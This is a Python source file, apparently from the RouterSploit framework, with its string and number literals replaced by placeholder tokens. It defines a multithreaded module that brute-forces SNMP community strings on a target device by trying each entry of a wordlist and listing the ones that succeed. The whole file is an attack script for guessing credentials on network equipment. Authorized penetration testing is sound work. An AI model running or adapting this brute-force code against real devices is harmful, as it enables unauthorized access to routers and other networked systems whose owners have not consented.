<s> import threading <EOL> from pysnmp . entity . rfc3413 . oneliner import cmdgen <EOL> from routersploit import ( <EOL> exploits , <EOL> wordlists , <EOL> print_status , <EOL> print_error , <EOL> LockedIterator , <EOL> print_success , <EOL> print_table , <EOL> boolify , <EOL> multi , <EOL> ) <EOL> class Exploit ( exploits . Exploit ) : <EOL> """<STR_LIT>""" <EOL> __info__ = { <EOL> '<STR_LIT:name>' : '<STR_LIT>' , <EOL> '<STR_LIT>' : '<STR_LIT>' <EOL> } <EOL> target = exploits . Option ( '<STR_LIT>' , '<STR_LIT>' ) <EOL> port = exploits . Option ( <NUM_LIT> , '<STR_LIT>' ) <EOL> threads = exploits . Option ( <NUM_LIT:8> , '<STR_LIT>' ) <EOL> snmp = exploits . Option ( wordlists . snmp , '<STR_LIT>' ) <EOL> verbosity = exploits . Option ( '<STR_LIT:yes>' , '<STR_LIT>' ) <EOL> stop_on_success = exploits . Option ( '<STR_LIT:yes>' , '<STR_LIT>' ) <EOL> strings = [ ] <EOL> def run ( self ) : <EOL> self . strings = [ ] <EOL> self . attack ( ) <EOL> @ multi <EOL> def attack ( self ) : <EOL> if self . snmp . startswith ( '<STR_LIT>' ) : <EOL> snmp = open ( self . snmp [ <NUM_LIT:7> : ] , '<STR_LIT:r>' ) <EOL> else : <EOL> snmp = [ self . snmp ] <EOL> collection = LockedIterator ( snmp ) <EOL> self . run_threads ( self . threads , self . target_function , collection ) <EOL> if len ( self . strings ) : <EOL> print_success ( "<STR_LIT>" ) <EOL> headers = ( "<STR_LIT>" , "<STR_LIT>" , "<STR_LIT>" ) <EOL> print_table ( headers , * self . strings ) <EOL> else : <EOL> print_error ( "<STR_LIT>" ) <EOL> def target_function ( self , running , data ) : <EOL> module_verbosity = boolify ( self . verbosity ) <EOL> name = threading . current_thread ( ) . name <EOL> print_status ( name , '<STR_LIT>' , verbose = module_verbosity ) <EOL> cmdGen = cmdgen . CommandGenerator ( ) <EOL> while running . is_set ( ) : <EOL> try : <EOL> string = data . next ( ) . strip ( ) <EOL> errorIndication , errorStatus , errorIndex , varBinds = cmdGen . getCmd ( <EOL> cmdgen . CommunityData ( string ) , <EOL> cmdgen . UdpTransportTarget ( ( self . target , int ( self . port ) ) ) , <EOL> '<STR_LIT>' , <EOL> ) <EOL> if errorIndication or errorStatus : <EOL> print_error ( "<STR_LIT>" . format ( self . target , self . port , name , string ) , verbose = module_verbosity ) <EOL> else : <EOL> if boolify ( self . stop_on_success ) : <EOL> running . clear ( ) <EOL> print_success ( "<STR_LIT>" . format ( self . target , self . port , name , string ) , verbose = module_verbosity ) <EOL> self . strings . append ( ( self . target , self . port , string ) ) <EOL> except StopIteration : <EOL> break <EOL> print_status ( name , '<STR_LIT>' , verbose = module_verbosity ) </s>
